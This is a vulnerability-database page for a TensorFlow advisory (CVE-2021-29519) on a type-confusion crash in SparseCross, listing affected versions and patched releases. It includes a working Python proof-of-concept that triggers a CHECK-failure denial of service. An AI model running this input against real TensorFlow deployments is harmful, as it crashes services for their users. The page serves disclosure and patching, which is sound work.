CVE-2021-29519Low· 2.5▾ SunlitCHECK-fail in SparseCross due to type confusion
▾ Sunlit zone — Low / medium · no exploitation signal
impact 13.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
The API of tf.raw_ops.SparseCross allows combinations which would result in a CHECK-failure and denial of service:
import tensorflow as tf
hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string
internal_type = tf.string
indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]
values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]
batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]
dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]
tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)
The above code will result in a CHECK fail in tensor.cc:
void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
CHECK_EQ(dtype(), expected_dtype)
<< " " << DataTypeString(expected_dtype) << " expected, got "
<< DataTypeString(dtype());
...
}
This is because the implementation is tricked to consider a tensor of type tstring which in fact contains integral elements:
if (DT_STRING == values_.dtype())
return Fingerprint64(values_.vec<tstring>().data()[start + n]);
return values_.vec<int64>().data()[start + n];
Fixing the type confusion by preventing mixing DT_STRING and DT_INT64 types solves this issue.
We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
tensorflow < 2.1.4tensorflow >= 2.2.0, < 2.2.3tensorflow >= 2.3.0, < 2.3.3tensorflow >= 2.4.0, < 2.4.2tensorflow-cpu < 2.1.4tensorflow-cpu >= 2.2.0, < 2.2.3tensorflow-cpu >= 2.3.0, < 2.3.3tensorflow-cpu >= 2.4.0, < 2.4.2tensorflow-gpu < 2.1.4tensorflow-gpu >= 2.2.0, < 2.2.3tensorflow-gpu >= 2.3.0, < 2.3.3tensorflow-gpu >= 2.4.0, < 2.4.2Upgrade to a patched release:
tensorflow 2.1.4tensorflow 2.2.3tensorflow 2.3.3tensorflow 2.4.2tensorflow-cpu 2.1.4tensorflow-cpu 2.2.3tensorflow-cpu 2.3.3tensorflow-cpu 2.4.2tensorflow-gpu 2.1.4tensorflow-gpu 2.2.3tensorflow-gpu 2.3.3tensorflow-gpu 2.4.2Connected by shared product, vendor, weakness, or advisory.
CVE-2021-29541Low· 2.5Null pointer dereference in `StringNGrams`
CVE-2021-29525Low· 2.5Division by 0 in `Conv2DBackpropInput`
CVE-2021-29527Low· 2.5Division by 0 in `QuantizedConv2D`
CVE-2021-29524Low· 2.5Division by 0 in `Conv2DBackpropFilter`
CVE-2020-15207High· 8.7Segfault and data corruption in tensorflow-lite
CVE-2021-29535Low· 2.5Heap buffer overflow in `QuantizedMul`